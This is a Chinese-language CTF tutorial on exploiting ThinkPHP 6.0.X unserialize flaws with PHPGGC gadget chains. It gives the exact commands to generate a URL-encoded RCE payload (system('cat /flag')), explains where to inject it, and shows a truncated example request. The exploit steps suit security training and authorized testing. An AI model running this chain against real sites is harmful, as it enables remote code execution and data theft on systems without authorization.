一、前置准备
1. 环境要求
- 操作系统:Kali Linux(推荐)或任何支持 PHP >= 5.6 的环境
- 目标:CTF 题目或测试环境(ThinkPHP 6.0.X 框架)
- 工具:PHPGGC(PHP Generic Gadget Chains)
2. 工具安装
bash
# 方式一:Git 克隆安装
git clone https://github.com/ambionics/phpggc.git
cd phpggc/
# 方式二:Kali 直接安装
apt install phpggc
工具地址:https://github.com/ambionics/phpggc
二、漏洞利用流程
步骤 1:确认目标框架及版本
通过代码审计识别目标站点特征:
- 目录特征 :检查是否存在
/think文件或vendor/topthink目录,确认使用 ThinkPHP 框架 - 版本确认:通过源码审计或报错信息确认版本为 ThinkPHP 6.0.X

步骤 2:列出可用利用链
执行命令查看 ThinkPHP 相关利用链:
bash
./phpggc -l thinkphp
执行结果将显示所有可用的 Gadget Chains,包括名称、版本范围、利用类型和触发向量:




关键信息解读:
- ThinkPHP/RCE3 :适用于
-6.0.1+,RCE 函数调用,通过__destruct()触发 - ThinkPHP/RCE4 :适用于
-6.0.1+,RCE 函数调用,通过__destruct()触发(推荐用于 6.0.X)
步骤 3:生成自定义 Payload
需求 :触发 system('cat /flag') 并自动进行 URL 编码
执行命令:
bash
./phpggc ThinkPHP/RCE4 system 'cat /flag' --url
参数说明:
ThinkPHP/RCE4:选择利用链system:要执行的函数'cat /flag':函数参数(命令)--url:自动进行 URL 编码(避免特殊字符被过滤)
注意 :务必使用
--url参数让程序自动编码,手动编码容易出现字符转义错误。
步骤 4:注入 Payload 到目标入口
-
定位入口 :审计代码确认反序列化触发点(通常是
unserialize($_GET['param'])或类似代码) -
确认参数 :找到 URL 中接收反序列化数据的参数名(如
?c=、?payload=等)


- 注入利用:将生成的 URL 编码后的 Payload 拼接至目标参数后访问
示例:
http://target.com/public/?payload=O%3A17%3A%22think%5Cmodel%5CPivot%22%3A9%3A%7Bs%3A19%3A%22...
三、技术原理与对比
1. 核心利用链逻辑
ThinkPHP 6.0.X 反序列化链(RCE4)的核心触发路径:
对象销毁触发 __destruct()
↓
调用回调函数(如 array_walk_recursive 或 call_user_func)
↓
执行系统命令(system('cat /flag'))
2. 工具对比
| 方式 | 优点 | 缺点 |
|---|---|---|
| PHPGGC 生成 | 灵活可控,适配性强,支持自定义函数和参数 | 需要本地安装工具 |
| 网上现成 POC | 快速直接使用 | 灵活性低,难以根据实际环境调整 |
3. 通用渗透流程
| 阶段 | 操作要点 |
|---|---|
| 找入口 | 定位代码中的 unserialize() 调用点,确认可控输入 |
| 判框架 | 通过目录结构、特征文件、报错信息识别框架及版本 |
| 打链条 | 使用 PHPGGC 生成对应版本的 Payload,自动编码后注入 |
四、注意事项
- 版本匹配:确保选择的利用链版本范围覆盖目标框架版本(RCE3/RCE4 均适用于 6.0.1+)
- 编码处理 :使用
--url参数自动处理 URL 编码,避免手动编码错误 - 环境兼容:PHPGGC 主要设计用于 Linux 环境,Windows 用户建议安装 WSL 或虚拟机
- 安全测试:本方法仅用于授权的 CTF 竞赛或安全测试环境,请勿用于非法用途